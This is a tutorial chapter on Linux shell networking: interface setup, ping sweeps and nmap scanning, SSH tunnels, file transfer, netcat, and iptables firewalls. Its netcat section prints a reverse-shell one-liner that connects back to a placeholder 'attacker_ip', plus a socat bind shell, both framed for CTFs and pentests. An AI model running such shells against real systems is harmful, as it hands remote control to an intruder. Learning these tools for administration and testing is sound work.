Chapter Overview
This chapter covers everything networking from the shell — configuring interfaces, probing the network, SSH tunnelling, file transfer, firewalls, and traffic analysis. Most of these tools are what you’d reach for during a CTF, a pentest, or just managing remote infrastructure.
Setting Up the Network
1
2
3
4
5
6
| ip addr # show all interfaces and IPs
ip addr show eth0 # show specific interface
ip link show # show link state (up/down, MAC)
ip route # show routing table
ip route show default # show default gateway
ip neigh # ARP table (neighbour cache)
|
Assign an IP address:
1
2
3
4
| ip addr add 192.168.1.100/24 dev eth0 # add IP to interface
ip addr del 192.168.1.100/24 dev eth0 # remove IP
ip link set eth0 up # bring interface up
ip link set eth0 down # bring interface down
|
Add a route:
1
2
3
| ip route add 10.0.0.0/8 via 192.168.1.1 # static route
ip route add default via 192.168.1.1 # default gateway
ip route del 10.0.0.0/8 # delete route
|
ifconfig (legacy — still common)
1
2
3
4
5
| ifconfig # show all interfaces
ifconfig eth0 # show one interface
ifconfig eth0 192.168.1.100 netmask 255.255.255.0 # assign IP
ifconfig eth0 up # bring up
ifconfig eth0 down # bring down
|
DNS configuration
1
| cat /etc/resolv.conf # current DNS servers
|
Temporary DNS change:
1
2
| echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 1.1.1.1" >> /etc/resolv.conf
|
Permanent (NetworkManager):
1
2
| nmcli con mod "Connection Name" ipv4.dns "8.8.8.8 1.1.1.1"
nmcli con up "Connection Name"
|
hostname
1
2
3
| hostname # show current hostname
hostname -I # show all local IPs
hostnamectl set-hostname newname # change hostname permanently
|
Network diagnostics
1
2
3
4
| ss -tuln # listening sockets (replaces netstat)
ss -tulnp # with process names
netstat -tuln # classic equivalent (install net-tools)
cat /proc/net/if_inet6 # IPv6 interfaces
|
Ping
ping tests reachability and measures round-trip time using ICMP echo requests.
1
2
3
4
5
6
7
| ping google.com # continuous ping (Ctrl+C to stop)
ping -c 4 google.com # send exactly 4 packets
ping -i 0.5 google.com # interval between pings (0.5s)
ping -s 1000 google.com # packet size 1000 bytes
ping -t 64 google.com # TTL (time to live)
ping -W 2 google.com # timeout per packet (2s)
ping -q google.com # quiet — only show summary
|
Flood ping (requires root — stress test):
1
| ping -f -c 1000 192.168.1.1 # send 1000 pings as fast as possible
|
Ping sweep — check a whole subnet:
1
2
3
| for i in {1..254}; do
ping -c 1 -W 1 192.168.1.$i > /dev/null 2>&1 && echo "UP: 192.168.1.$i"
done
|
IPv6:
1
2
| ping6 ::1 # ping localhost over IPv6
ping6 google.com
|
Traceroute
1
2
3
| traceroute google.com # hop-by-hop path
tracepath google.com # like traceroute, no root required
mtr google.com # real-time traceroute (combines ping + traceroute)
|
mtr is the best tool for diagnosing where latency or packet loss is occurring on a path.
Listing All Live Machines on a Network
Ping sweep (bash)
1
2
3
4
5
6
7
| #!/bin/bash
network="192.168.1"
for host in {1..254}; do
ping -c 1 -W 1 "$network.$host" > /dev/null 2>&1 && \
echo "$network.$host is UP"
done
|
Parallel version (much faster):
1
2
3
4
5
6
7
8
| #!/bin/bash
network="192.168.1"
for host in {1..254}; do
(ping -c 1 -W 1 "$network.$host" > /dev/null 2>&1 && \
echo "$network.$host is UP") &
done
wait
|
1
2
3
4
5
6
| nmap -sn 192.168.1.0/24 # ping sweep (host discovery only)
nmap -sn 192.168.1.0/24 --open # only show responding hosts
nmap 192.168.1.0/24 # full scan with port info
nmap -sV 192.168.1.0/24 # detect services/versions
nmap -O 192.168.1.100 # OS detection
nmap -p 22,80,443 192.168.1.0/24 # specific ports across subnet
|
Output to file:
1
2
3
| nmap -sn 192.168.1.0/24 -oN hosts.txt # normal format
nmap -sn 192.168.1.0/24 -oG hosts.grep # greppable format
nmap -sn 192.168.1.0/24 -oX hosts.xml # XML
|
arp-scan
1
2
| arp-scan --localnet # scan local network using ARP
arp-scan 192.168.1.0/24
|
ARP-based — more reliable than ping (ICMP can be blocked, ARP can’t on a local network).
1
| nmap -sn 192.168.1.0/24 | grep "report for" | awk '{print $NF}'
|
Running Commands on Remote Hosts with SSH
1
2
3
4
5
6
| ssh user@host # interactive shell
ssh user@host "command" # run single command and exit
ssh user@host "ls -la /var/log" # remote ls
ssh -p 2222 user@host # custom port
ssh -i ~/.ssh/mykey user@host # specific private key
ssh -v user@host # verbose (debug connection issues)
|
Run multiple commands
1
2
3
4
5
6
7
8
9
| ssh user@host "cd /app && git pull && systemctl restart app"
# Heredoc for multi-line
ssh user@host << 'EOF'
cd /var/www
git pull origin main
npm install
pm2 restart app
EOF
|
Run a script remotely
1
2
3
4
5
6
| # Upload and execute
scp script.sh user@host:/tmp/
ssh user@host "bash /tmp/script.sh"
# Execute without uploading (pipe over SSH)
cat script.sh | ssh user@host "bash"
|
SSH config file (~/.ssh/config)
Instead of typing long SSH commands, define shortcuts:
1
2
3
4
5
6
7
8
9
10
| Host webserver
HostName 192.168.1.100
User omar
Port 2222
IdentityFile ~/.ssh/web_key
Host jumpbox
HostName jump.example.com
User admin
ProxyJump webserver
|
1
| ssh webserver # uses the config above
|
Run commands on multiple hosts
1
2
3
4
| for host in 192.168.1.{10..20}; do
echo "=== $host ==="
ssh -o ConnectTimeout=3 user@$host "uptime" 2>/dev/null
done
|
Transferring Files Through the Network
scp — secure copy
1
2
3
4
5
| scp file.txt user@host:/remote/path/ # local → remote
scp user@host:/remote/file.txt /local/path/ # remote → local
scp -r /local/dir/ user@host:/remote/dir/ # recursive directory
scp -P 2222 file.txt user@host:/path/ # custom port (capital P)
scp -i ~/.ssh/key file.txt user@host:/path/ # specific key
|
rsync over SSH (preferred for large transfers)
1
2
3
| rsync -avz /local/ user@host:/remote/ # sync local to remote
rsync -avz -e "ssh -p 2222" /local/ user@host:/remote/ # custom port
rsync -avzP user@host:/remote/ /local/ # -P shows progress + resumes
|
sftp — interactive file transfer
Inside sftp:
1
2
3
4
5
6
7
8
9
| ls # list remote directory
lls # list local directory
cd /remote/path # change remote directory
lcd /local/path # change local directory
get file.txt # download file
put file.txt # upload file
mget *.log # download multiple files
mput *.conf # upload multiple files
bye # exit
|
curl/wget for downloading
1
2
| wget https://example.com/file.tar.gz
curl -O https://example.com/file.tar.gz
|
netcat for raw transfer
1
2
3
4
5
| # Receiver (start first)
nc -l -p 9999 > received_file.tar.gz
# Sender
nc receiver_ip 9999 < file.tar.gz
|
Fast but no encryption — only use on trusted networks.
Connecting to a Wireless Network
iwconfig (legacy)
1
2
3
4
| iwconfig # show wireless interfaces
iwconfig wlan0 # show one interface
iwlist wlan0 scan # scan for networks
iwconfig wlan0 essid "NetworkName" # connect to open network
|
iw (modern replacement)
1
2
3
| iw dev # list wireless devices
iw dev wlan0 scan # scan for available networks
iw dev wlan0 link # connection info (signal, SSID)
|
nmcli (NetworkManager — recommended)
1
2
3
4
5
6
7
| nmcli device wifi list # list available networks
nmcli device wifi connect "SSID" password "password" # connect
nmcli connection show # show all saved connections
nmcli connection up "SSID" # connect to saved network
nmcli connection down "SSID" # disconnect
nmcli radio wifi off # disable wifi
nmcli radio wifi on # enable wifi
|
wpa_supplicant (manual, no NetworkManager)
Configure /etc/wpa_supplicant/wpa_supplicant.conf:
1
2
3
4
5
| network={
ssid="NetworkName"
psk="password"
key_mgmt=WPA-PSK
}
|
1
2
| wpa_supplicant -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf &
dhclient wlan0 # get IP via DHCP
|
Passwordless Auto-Login with SSH
SSH key authentication is faster, more secure, and required for automation — no password prompts.
Step 1: Generate a key pair
1
2
| ssh-keygen -t ed25519 -C "omar@machine" # modern — recommended
ssh-keygen -t rsa -b 4096 -C "omar@machine" # RSA — wider compatibility
|
- Private key:
~/.ssh/id_ed25519 — never share this - Public key:
~/.ssh/id_ed25519.pub — this goes on the server
Step 2: Copy public key to server
1
2
3
| ssh-copy-id user@host # easiest method
ssh-copy-id -i ~/.ssh/id_ed25519.pub user@host # specify key
ssh-copy-id -p 2222 user@host # custom port
|
Manual method (if ssh-copy-id isn’t available):
1
| cat ~/.ssh/id_ed25519.pub | ssh user@host "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys"
|
Step 3: Set correct permissions (on the server)
1
2
| chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
|
Step 4: Test
1
| ssh user@host # should not ask for password
|
ssh-agent (avoid re-entering passphrase)
1
2
3
| eval $(ssh-agent) # start agent
ssh-add ~/.ssh/id_ed25519 # add key (enter passphrase once)
ssh-add -l # list loaded keys
|
Port Forwarding with SSH
SSH tunnels encrypt and forward network traffic through SSH connections. Useful for accessing services behind firewalls or NAT.
Local port forwarding (-L)
Forward a local port to a remote service — you access it on your machine, traffic goes through SSH to the remote.
1
| ssh -L 8080:localhost:80 user@server
|
Now localhost:8080 on your machine reaches port 80 on the server.
Access a database behind a firewall:
1
2
| ssh -L 3306:db-server:3306 user@jump-host
# Now connect to localhost:3306 to reach the remote MySQL
|
Remote port forwarding (-R)
Expose a local service to the remote server — useful for making a local service accessible from the internet.
1
| ssh -R 9090:localhost:3000 user@server
|
Now port 9090 on the server reaches port 3000 on your local machine.
Dynamic port forwarding (-D) — SOCKS proxy
Creates a SOCKS proxy on your local machine — all traffic routed through it goes via the SSH server.
1
| ssh -D 1080 user@server
|
Configure your browser to use SOCKS5 proxy at localhost:1080. All traffic appears to come from the server’s IP.
Use with curl:
1
| curl --socks5 localhost:1080 https://example.com
|
Jump hosts (ProxyJump)
Access a machine that’s only reachable via a jump host:
1
2
3
4
| ssh -J jumpuser@jumphost finaluser@finalhost
# Multiple hops
ssh -J user@hop1,user@hop2 user@destination
|
Persistent tunnels
Keep the tunnel running in the background:
1
2
| ssh -fNL 8080:localhost:80 user@server
# -f = background, -N = no command (just forward)
|
Mounting a Remote Drive at a Local Mount Point
SSHFS — mount remote directory over SSH
1
2
3
4
5
6
7
8
9
10
| # Mount
sshfs user@host:/remote/path /local/mountpoint
# With options
sshfs -p 2222 user@host:/remote /mnt/remote \
-o reconnect,ServerAliveInterval=15,ServerAliveCountMax=3
# Unmount
fusermount -u /mnt/remote # Linux
umount /mnt/remote # macOS
|
Install: apt install sshfs
Mount on boot (/etc/fstab):
1
| user@host:/remote /mnt/remote fuse.sshfs defaults,_netdev,reconnect 0 0
|
NFS — Network File System
1
2
3
4
5
6
7
8
9
10
| # Server side
apt install nfs-kernel-server
echo "/shared/dir 192.168.1.0/24(rw,sync,no_subtree_check)" >> /etc/exports
exportfs -ra
systemctl start nfs-server
# Client side
mount -t nfs server:/shared/dir /mnt/nfs
# Or in /etc/fstab:
# server:/shared /mnt/nfs nfs defaults,_netdev 0 0
|
SMB/CIFS — Windows shares
1
2
3
4
5
| mount -t cifs //server/share /mnt/smb \
-o username=user,password=pass,domain=DOMAIN
# With credentials file (more secure)
mount -t cifs //server/share /mnt/smb -o credentials=/etc/samba/creds
|
/etc/samba/creds:
1
2
3
| username=user
password=secret
domain=WORKGROUP
|
Network Traffic and Port Analysis
ss — socket statistics (modern netstat)
1
2
3
4
5
| ss -tuln # listening TCP and UDP ports
ss -tulnp # with process names (requires sudo)
ss -t state established # established TCP connections
ss -s # summary statistics
ss -o # show timer info
|
netstat (legacy, still useful)
1
2
3
4
| netstat -tuln # listening ports
netstat -tulnp # with process
netstat -r # routing table
netstat -s # protocol statistics
|
nmap for port scanning
1
2
3
4
5
6
7
| nmap -sS 192.168.1.100 # SYN scan (stealth)
nmap -sT 192.168.1.100 # TCP connect scan
nmap -sU 192.168.1.100 # UDP scan
nmap -sV 192.168.1.100 # service/version detection
nmap -A 192.168.1.100 # aggressive (OS, version, scripts, traceroute)
nmap -p- 192.168.1.100 # all 65535 ports
nmap -p 22,80,443 192.168.1.100 # specific ports
|
tcpdump — packet capture
1
2
3
4
5
6
7
8
| tcpdump -i eth0 # capture on eth0
tcpdump -i eth0 -w capture.pcap # save to file (open in Wireshark)
tcpdump -i eth0 port 80 # only HTTP traffic
tcpdump -i eth0 host 192.168.1.100 # traffic to/from specific host
tcpdump -i eth0 'tcp and port 443' # HTTPS only
tcpdump -i eth0 -n # don't resolve hostnames
tcpdump -i eth0 -X port 80 # show hex + ASCII payload
tcpdump -i any # capture on all interfaces
|
iftop — real-time bandwidth per connection
1
2
3
| iftop # interactive bandwidth monitor
iftop -i eth0 # specific interface
iftop -n # no DNS lookups
|
nethogs — bandwidth per process
1
2
| nethogs # show which process uses the most bandwidth
nethogs eth0 # specific interface
|
nload — total bandwidth graph
1
2
| nload # simple incoming/outgoing bandwidth graph
nload eth0
|
Creating Arbitrary Sockets
netcat (nc) — the network Swiss Army knife
Listen on a port:
1
2
| nc -l -p 9999 # listen on TCP port 9999
nc -l -u -p 9999 # listen on UDP port 9999
|
Connect to a port:
1
2
3
4
| nc host 9999 # connect
nc -v host 9999 # verbose connection
nc -z host 9999 # port check only (zero I/O)
nc -w 3 -z host 9999 # with 3s timeout
|
Port scanning with nc:
1
2
3
4
| nc -zv host 20-100 # scan ports 20-100
for port in 22 80 443 3306 8080; do
nc -z -w 1 host $port 2>/dev/null && echo "$port open" || echo "$port closed"
done
|
Simple chat (two terminals):
1
2
3
4
5
| # Terminal 1
nc -l -p 1234
# Terminal 2
nc localhost 1234
|
Reverse shell (for CTFs/pentests):
1
2
3
4
5
| # Attacker (listener)
nc -lvnp 4444
# Victim (connects back)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
|
/dev/tcp — bash built-in TCP
Bash can open TCP connections natively without nc:
1
2
3
4
| exec 3<>/dev/tcp/google.com/80
echo -e "GET / HTTP/1.0\r\nHost: google.com\r\n\r\n" >&3
cat <&3
exec 3>&-
|
Quick port check without nc:
1
2
| timeout 1 bash -c "cat < /dev/null > /dev/tcp/host/port" 2>/dev/null && \
echo "open" || echo "closed"
|
socat — more powerful nc
1
2
3
4
| socat TCP-LISTEN:9999,fork - # listen and echo stdin
socat TCP:host:9999 - # connect
socat TCP-LISTEN:9999 EXEC:"/bin/bash" # bind shell
socat TCP-LISTEN:443,fork,reuseaddr OPENSSL-LISTEN:443,cert=server.pem # TLS listener
|
Sharing an Internet Connection
IP forwarding (NAT gateway)
Turn your Linux machine into a router — share one internet connection with other machines.
1
2
3
4
5
6
7
8
9
10
11
| # Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Make it permanent
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
sysctl -p
# NAT with iptables (eth0 = internet, eth1 = internal network)
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT
iptables -A FORWARD -i eth0 -o eth1 -m state --state RELATED,ESTABLISHED -j ACCEPT
|
Other machines on the internal network set their gateway to this machine’s IP.
NetworkManager hotspot
Share WiFi as a hotspot:
1
2
3
4
5
| nmcli device wifi hotspot \
con-name Hotspot \
ssid "MyHotspot" \
password "password123" \
ifname wlan0
|
iptables NAT for specific IPs
1
2
| # Share internet with a specific internal subnet only
iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE
|
Basic Firewall with iptables
iptables filters network packets based on rules. Rules are processed top to bottom — first match wins.
Chains and tables
- INPUT — packets destined for the local machine
- OUTPUT — packets leaving the local machine
- FORWARD — packets being routed through the machine
Viewing rules
1
2
3
4
| iptables -L # list all rules
iptables -L -v -n # with packet counts, no DNS lookup
iptables -L INPUT -n --line-numbers # with line numbers
iptables -t nat -L # NAT table
|
Default policies
1
2
3
| iptables -P INPUT DROP # drop all incoming by default
iptables -P FORWARD DROP # drop all forwarded by default
iptables -P OUTPUT ACCEPT # allow all outgoing
|
Allow rules (add before default DROP)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| # Allow established/related connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Allow loopback
iptables -A INPUT -i lo -j ACCEPT
# Allow SSH
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP and HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT
# Allow from specific IP only
iptables -A INPUT -s 192.168.1.50 -p tcp --dport 22 -j ACCEPT
# Allow ICMP (ping)
iptables -A INPUT -p icmp -j ACCEPT
|
Block rules
1
2
3
| iptables -A INPUT -s 192.168.1.100 -j DROP # block an IP
iptables -A INPUT -p tcp --dport 23 -j DROP # block Telnet
iptables -A INPUT -p tcp --dport 8080 -j REJECT # reject (sends RST, not silent drop)
|
Delete and flush rules
1
2
3
4
| iptables -D INPUT 3 # delete rule by line number
iptables -F # flush all rules (dangerous — loses all rules)
iptables -F INPUT # flush only INPUT chain
iptables -X # delete all custom chains
|
Save and restore rules
1
2
| iptables-save > /etc/iptables/rules.v4 # save
iptables-restore < /etc/iptables/rules.v4 # restore
|
Auto-restore on boot (Debian/Ubuntu):
1
2
| apt install iptables-persistent
netfilter-persistent save
|
Rate limiting (anti-brute-force)
1
2
3
4
5
| # Allow SSH but limit to 3 connection attempts per minute per IP
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
-m recent --set --name SSH
iptables -A INPUT -p tcp --dport 22 -m state --state NEW \
-m recent --update --seconds 60 --hitcount 4 --name SSH -j DROP
|
ufw — simplified iptables frontend
1
2
3
4
5
6
7
8
9
| ufw enable # enable firewall
ufw disable # disable
ufw status verbose # show rules
ufw allow 22 # allow SSH
ufw allow 80/tcp # allow HTTP
ufw deny 23 # block Telnet
ufw allow from 192.168.1.0/24 # allow subnet
ufw delete allow 80 # remove a rule
ufw reset # reset all rules
|
📚 References
You can find me online at: